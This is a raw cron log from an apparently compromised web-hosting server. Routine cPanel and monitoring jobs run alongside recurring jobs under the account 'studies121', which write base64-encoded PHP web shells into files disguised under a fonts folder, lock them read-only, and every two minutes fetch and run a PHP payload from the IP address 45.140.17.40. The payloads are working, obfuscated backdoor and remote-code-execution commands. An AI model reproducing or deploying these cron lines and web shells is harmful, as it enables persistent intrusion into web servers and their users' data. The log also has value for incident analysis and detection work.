Sep 12 18:49:01 ip-184-168-122-23 CROND[8696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:49:01 ip-184-168-122-23 CROND[8700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:49:01 ip-184-168-122-23 CROND[8699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:50:01 ip-184-168-122-23 CROND[8790]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 18:50:01 ip-184-168-122-23 CROND[8792]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 18:50:01 ip-184-168-122-23 CROND[8793]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 18:50:01 ip-184-168-122-23 CROND[8799]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 18:50:01 ip-184-168-122-23 CROND[8798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:50:01 ip-184-168-122-23 CROND[8802]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 18:50:01 ip-184-168-122-23 CROND[8797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:50:01 ip-184-168-122-23 CROND[8800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:50:01 ip-184-168-122-23 CROND[8796]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:51:01 ip-184-168-122-23 CROND[8893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:51:01 ip-184-168-122-23 CROND[8894]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:51:01 ip-184-168-122-23 CROND[8897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:51:01 ip-184-168-122-23 CROND[8896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:52:01 ip-184-168-122-23 CROND[8989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:52:01 ip-184-168-122-23 CROND[8992]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 18:52:01 ip-184-168-122-23 CROND[8991]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:52:01 ip-184-168-122-23 CROND[8993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:52:01 ip-184-168-122-23 CROND[8996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:53:01 ip-184-168-122-23 CROND[9162]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:53:01 ip-184-168-122-23 CROND[9163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:53:01 ip-184-168-122-23 CROND[9164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:53:01 ip-184-168-122-23 CROND[9165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:54:01 ip-184-168-122-23 CROND[9250]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:54:01 ip-184-168-122-23 CROND[9252]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 18:54:01 ip-184-168-122-23 CROND[9254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:54:01 ip-184-168-122-23 CROND[9255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:54:01 ip-184-168-122-23 CROND[9253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:55:01 ip-184-168-122-23 CROND[9348]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:55:01 ip-184-168-122-23 CROND[9350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:55:01 ip-184-168-122-23 CROND[9352]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 18:55:01 ip-184-168-122-23 CROND[9351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:55:01 ip-184-168-122-23 CROND[9353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:55:01 ip-184-168-122-23 CROND[9354]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 18:56:01 ip-184-168-122-23 CROND[9457]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:56:01 ip-184-168-122-23 CROND[9459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:56:01 ip-184-168-122-23 CROND[9461]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 18:56:01 ip-184-168-122-23 CROND[9460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:56:01 ip-184-168-122-23 CROND[9462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:57:01 ip-184-168-122-23 CROND[9555]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:57:01 ip-184-168-122-23 CROND[9556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:57:01 ip-184-168-122-23 CROND[9558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:57:01 ip-184-168-122-23 CROND[9560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:58:01 ip-184-168-122-23 CROND[9721]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:58:01 ip-184-168-122-23 CROND[9723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:58:01 ip-184-168-122-23 CROND[9725]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 18:58:01 ip-184-168-122-23 CROND[9724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 18:58:01 ip-184-168-122-23 CROND[9727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:59:01 ip-184-168-122-23 CROND[9816]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 18:59:01 ip-184-168-122-23 CROND[9818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 18:59:01 ip-184-168-122-23 CROND[9817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 18:59:01 ip-184-168-122-23 CROND[9819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:00:01 ip-184-168-122-23 CROND[9921]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 19:00:01 ip-184-168-122-23 CROND[9923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:00:01 ip-184-168-122-23 CROND[9925]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 19:00:01 ip-184-168-122-23 CROND[9924]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 19:00:01 ip-184-168-122-23 CROND[9931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:00:01 ip-184-168-122-23 CROND[9933]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:00:01 ip-184-168-122-23 CROND[9935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:00:01 ip-184-168-122-23 CROND[9934]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 19:01:01 ip-184-168-122-23 CROND[10034]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 19:01:01 ip-184-168-122-23 CROND[10035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:01:01 ip-184-168-122-23 CROND[10039]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 19:01:01 ip-184-168-122-23 CROND[10041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
